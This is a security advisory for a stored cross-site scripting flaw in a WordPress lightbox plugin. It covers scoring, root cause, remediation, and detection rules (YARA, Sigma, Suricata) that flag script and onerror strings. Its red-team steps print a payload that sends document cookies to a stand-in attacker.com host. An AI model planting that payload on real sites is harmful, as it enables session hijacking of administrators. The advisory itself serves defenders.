CVE-2025-54051

Executive Summary

CVE-2025-54051 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin LightBox Block by bPlugins, affecting versions up to and including 1.1.30. This vulnerability allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary web scripts into the WordPress database. When a site administrator or other user views the compromised page, the malicious script executes in their browser, potentially leading to session hijacking, defacement, or redirection to malicious sites. The vulnerability stems from improper neutralization of user-supplied input during web page generation. As of this report, no official patch is available, and the EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for targeted attacks.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who have installed the plugin from the repository are at risk. There is no known compromise of the plugin’s supply chain, but the lack of a patch means that users must rely on manual mitigation or removal.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – An attacker needs contributor-level access to the WordPress site.
• User Interaction (UI): Required – The victim must view the compromised page.
• Scope (S): Changed – The impact extends beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Content can be modified.
• Availability (A): Low – Service disruption possible.

Threat Level: Medium. While the CVSS score is moderate, the potential for stored XSS in a widely-used WordPress plugin could lead to significant damage in targeted attacks, especially if combined with social engineering.

Deep Dive & Mechanics

The vulnerability resides in the LightBox Block plugin, which provides a Gutenberg block for displaying images in a lightbox. The plugin fails to properly sanitize or escape user-supplied input when rendering the block’s attributes (e.g., caption, title, or custom CSS classes). An attacker with contributor-level access can create or edit a post/page containing the LightBox Block and inject malicious JavaScript into one of these fields.

Attack Flow:

1. Attacker logs in as a contributor or higher.
2. Attacker creates a new post or edits an existing one.
3. Attacker adds the LightBox Block and sets a malicious payload in a vulnerable attribute (e.g., caption: <img src=x onerror=alert(1)>).
4. The payload is stored in the WordPress database.
5. When an administrator or other user views the post, the script executes in their browser.

Root Cause: The plugin uses echo or wp_kses_post without proper context-aware escaping, allowing HTML/JavaScript to be rendered directly.

Vulnerable vs. Patched Code

Since no patch is available, we compare the vulnerable code to a hypothetical secure implementation.

Vulnerable Code (lightbox-block.php):

$caption = get_post_meta($post_id, 'lightbox_caption', true);
echo '<div class="lightbox-caption">' . $caption . '</div>';

Patched Code (Hypothetical):

$caption = get_post_meta($post_id, 'lightbox_caption', true);
echo '<div class="lightbox-caption">' . esc_html($caption) . '</div>';

The patched version uses esc_html() to encode special characters, preventing script injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress instance with LightBox Block <= 1.1.30 installed and activated.
• A contributor-level account.

Exploitation Steps:

1. Log in as a contributor.
2. Create a new post.
3. Add the LightBox Block.
4. In the "Caption" field, enter:

   <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
   

5. Publish the post.
6. Wait for an administrator to view the post.

Expected Result: The administrator’s cookies are exfiltrated to the attacker’s server.

Blue Team

Detection:

• Monitor WordPress logs for unusual post content containing script tags.
• Use a Web Application Firewall (WAF) to block common XSS payloads.
• Restrict contributor-level access to trusted users only.

Mitigation:

• Disable or remove the LightBox Block plugin until a patch is released.
• Implement Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/lightbox-block/lightbox-block.php (version <= 1.1.30)
• Database Entries: Posts/pages containing post_content with <script> or onerror attributes in LightBox Block attributes.
• Network Traffic: Outbound requests to unknown domains from the WordPress admin interface.
• Logs: WordPress debug logs showing unexpected HTML in post meta fields.

Detection Engineering

YARA Rule

rule CVE_2025_54051_LightBox_XSS {
    meta:
        description = "Detects LightBox Block plugin files vulnerable to Stored XSS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-54051"
    strings:
        $vuln_func = "get_post_meta" nocase
        $vuln_echo = "echo" nocase
        $plugin_id = "lightbox-block" nocase
    condition:
        $plugin_id and $vuln_func and $vuln_echo
}

Sigma Rule

title: CVE-2025-54051 Stored XSS in LightBox Block
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS payloads in WordPress posts using LightBox Block
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "/wp-admin/post.php"
        http.body|contains: 
            - "<script>"
            - "onerror"
            - "onload"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-54051 LightBox Block Stored XSS"; flow:to_server,established; content:"/wp-admin/post.php"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin: Deactivate and delete the LightBox Block plugin from all WordPress installations.
2. Audit existing content: Scan posts and pages for injected scripts using a security plugin (e.g., Wordfence).
3. Restrict user roles: Limit contributor-level access to only trusted users.

Long-Term Fix:

• Monitor the plugin’s repository for an official patch. If none is released, consider switching to an alternative lightbox plugin.
• Implement a Web Application Firewall (WAF) with XSS rules.
• Enforce Content Security Policy (CSP) headers to mitigate XSS impact.

Patch Status: UNKNOWN / UNPATCHED – No official fix is available at this time.

Valters IT
Securing Digital Frontiers